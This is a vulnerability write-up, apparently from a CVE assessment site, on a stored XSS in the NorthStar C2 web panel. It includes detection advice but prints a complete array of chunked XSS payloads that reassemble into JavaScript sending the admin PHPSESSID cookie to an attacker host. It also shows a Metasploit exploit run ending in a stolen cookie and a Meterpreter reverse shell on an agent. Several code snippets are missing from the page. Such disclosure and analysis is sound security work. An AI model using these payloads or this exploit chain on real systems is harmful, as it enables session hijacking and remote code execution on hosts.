Attacker Value
(1 user assessed)
(1 user assessed)
User Interaction
Privileges Required
Attack Vector


Disclosure Date: April 06, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.


Cross Site Scripting vulnerability in EginDemirbilek NorthStar C2 v1 allows a remote attacker to execute arbitrary code via the login.php component.

Add Assessment

Technical Analysis

NorthStarC2 is an open source web based command and control framework used by real world threat actors including UNC3890, APT33 and Patchwork/APT-Q-36 to name a few. NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is
vulnerable to a stored XSS. An unauthenticated user can simulate an agent registration to cause the XSS and take over a user’s session. With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts (agents), and kill the original agent.

Obtaining Unauthenticated Stored XSS

A route exists such that a portion of an unauthenticated request would be persistently reflected on the admin web panel without sanitization, allowing for stored XSS. Before delving into the exploitation details, let’s understand the NorthStar C2 stager registration flow. The docs state:

The stager registration process consists of 2 phases;

First phase:

NorthStar Stager sends an unique id value to login.php with HTTP POST method. This value is XORed with a hard-coded key and is in base64 format.
The C2 Server decrypts this value and checks if the unique id starts with a “N”, ends with a “q” and is less than 20 characters.If everything checks out, the value is registered into the C2 database.
A second XOR key, which will be used for communications, is transferred from NorthStar C2 Server to NorthStar Stager.
NorthStar Stager receives and registers the XOR key.

The registration routes mentioned above are accessible prior to authentication (which is by the design). According to the docs, some checks are conducted to determine a valid ID, but there is no mention of any additional sanitation. The implementation of these checks in the code can be examined inside the following file:


The agent ID (or the $_POST['sid'] parameter in the above code which is saved to the $str variable) has no real strict sanitization. The agent ID is checked to ensure the first character is N, the last character is q and that the length is less than 20 – these loosely made checks can be exploited.

Tracing the path of this parameter to its sink leads us to the login.php file, where the checksid.php file is included and the $str variable is used. Notice how there is no further sanitization performed here:


The updateLogs function inserts the $str parameter (which is now called $logClient) directly into the database:


Now in order to exploit this stored XSS vulnerability we must determine where the database is queried and what page displays the information we’re able to store in the database.

The file logs.php queries the database and displays the unfiltered output directly to the webpage:
The agentID (in this case logClient) can be seen being echoed to the page without sanitization:


If there was no length limitation on the agentID parameter, we would be able to send the following payload:


and obtain stored XSS with ease. However the above payload is 26 characters and will not be accepted by the application.

So, in order to work around this limitation, javascript comments can be used to connect multiple, shorter payloads. Because the newest logs appear at the top of the table, the last part of the payload is sent first.

For example, in order to create the 26 character stored XSS payload mentioned above, the following three payload can be sent in this order, remembering that they all need to start with N, end with q and be less than 20 characters:

Payload #1:


Payload #2:


Payload #3:


The payload will appear like so in the DOM:


and voila, stored XSS can be achieved.

Stealing Cookies

Requests to the NorthStarC2 web application are authenticated by the PHPSESSID cookie. By using the stored XSS vulnerability outlined above, we can exfiltrate the PHPSESSID cookie value of an admin user back to the attacker machine. With that cookie in our possession we can take control of all the agents connected to the NorthStarC2 application and run arbitrary commands on all agents connected to the NorthStarC2 application.

This is an array of payloads (in the specific reverse order such that they get echoed to the page in the correct order) that can send to the application in order to steal the PHPSESSID cookie:

sid_payloads = ["N*/</script><q", "N*/i.src=u/*q", "N*/new Image;/*q", "N*/var i=/*q", "N*/s+h+p+'/'+c;/*q", "N*/var u=/*q", f"N*/'{protocol}';/*q", "N*/var s=/*q", f"N*/':{port}';/*q", "N*/var p=/*q", "N*/a+b;/*q", "N*/var h=/*q", f"N*/'{h2}';/*q", "N*/var b=/*q", f"N*/'{h1}';/*q", "N*/var a=/*q", "N*/d.cookie;/*q", "N*/var c=/*q", "N*/document;/*q", "N*/var d=/*q", "N</td><script>/*q"]

This is how it will appear once echoed to the DOM of the logs page:

N</td><script>/*qN*/var d=/*qN*/document;/*qN*/var c=/*qN*/d.cookie;/*qN*/var a=/*qfN*/'{h1}';/*qN*/var b=/*qfN*/'{h2}';/*qN*/var h=/*qN*/a+b;/*qN*/var p=/*qfN*/':{port}';/*qN*/var s=/*qfN*/'{protocol}';/*qN*/var u=/*qN*/s+h+p+'/'+c;/*qN*/var i=/*qN*/new Image;/*qN*/i.src=u/*qN*/</script><q

And this is the actual javascript code in readable form, without the comments and the q’s and the N’s required by the sanitization:

var d=document;
var c=d.cookie;
var a='{h1}';
var b='{h2}';
var h=a+b;
var p=':{port}';
var s='{protocol}';
var u=s+h+p+'/'+c;
var i=new Image;

Once the cookie has been obtained, attackers can use it to interact with the web panel as an authenticated user, which gives them the ability to execute arbitrary commands on all the agents.

Required User Interaction

Note that the javascript payload will only get run once an authenticated user navigates to the logs.php page. The logs.php page does refresh itself periodically so if an operator already has the logs page open it might fire without someone directly opening it, in that specific scenario.


If you’re running an instance of NorthStar C2, prior to commit 7674a44 on March 11 2024 and you’d like to see if you’ve been affected, one way would be to connect to the database that was configured to be used by the application (depending on how your database is setup the command to connect could be similar to sudo mysql -u root -p ) and run select * from logs; once using the specific database.

Below is a screenshot of an affected host. Notice how in the logClient column in rows 1 through 13 appear to be normal but then rows 14 through 34 all appear to include N*/<javascript code>/*q. This is where the attacker has stored, the Stored XSS and is the very code used to steal the admin session cookie and exfiltrate it to themselves.

On an affected system, it is likely that the affected database rows would still be there as this attack gives the attacker control over the agents connected to the host and not to the host itself which is running the database in question. So it would be non-trivial for the attacker to erase these footsteps in this scenario.

Metasploit Module Demo

Testing NorthstarStager.exe compiled on Windows 10 (19045) connected to NorthstarC2 installed on Ubuntu 22.04. Both the host and agent running on the vulnerable commit e7fdce148b6a81516e8aa5e5e037acd082611f73

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > options

Module options (exploit/windows/http/northstar_c2_xss_to_agent_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   KILL       false            no        Kill the NorthStar C2 agent
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   yes       The target host(s), see
   RPORT      80               yes       The target port (TCP)
   SRVHOST     yes       The local host or network interface to listen on. This must be an address on the local machine or to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI of the NorthStar C2 Application
   URIPATH    /                no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      KNBXoiAeeq       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST     no        Local IP to use for serving payload
   FETCH_SRVPORT       9090             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST          yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. NorthStar Login page detected
[*] Using URL:
[*] Server started.
msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > [*] Waiting on XSS execution
[+]   northstar_c2_xss_to_agent_rce - Received cookie: d89vrb0v20fpr9mr9v63t6ag4j
[+]   northstar_c2_xss_to_agent_rce - Live Agents

 ID                   IP              OS                     Username                 Hostname         Status
 --                   --              --                     --------                 --------         ------
 NcXSkaPsdYYqgc3m1Wq  Windows 10 Enterprise  DESKTOP-N3ORU31\msfuser  DESKTOP-N3ORU31  Online

[*]   northstar_c2_xss_to_agent_rce - (NcXSkaPsdYYqgc3m1Wq) Stealing DESKTOP-N3ORU31
[*] Sending stage (201798 bytes) to
[*] Meterpreter session 1 opened ( -> at 2024-05-13 14:25:50 -0700

msf6 exploit(windows/http/northstar_c2_xss_to_agent_rce) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-N3ORU31\msfuser
meterpreter > sysinfo
Computer        : DESKTOP-N3ORU31
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Attacker Value and Exploitability

This requires an admin user interaction in order for the exploit to be successful, which is why the attacker value is lower. Also you don’t know what target you’re going to get a session on before the exploit is successful because you’re unable to see what agents are connected to the C2 up until you steal the admin cookie, which also makes this slightly less appealing. Although that being said it’s pretty cool such a solid and reliable exploit was found in a C2 used by real APTs.


CVSS V3 Severity and Metrics
Base Score:
Impact Score:
Exploitability Score:
Attack Vector (AV):
Attack Complexity (AC):
Privileges Required (PR):
User Interaction (UI):
Scope (S):
Confidentiality (C):
Integrity (I):
Availability (A):

General Information

Additional Info

Technical Analysis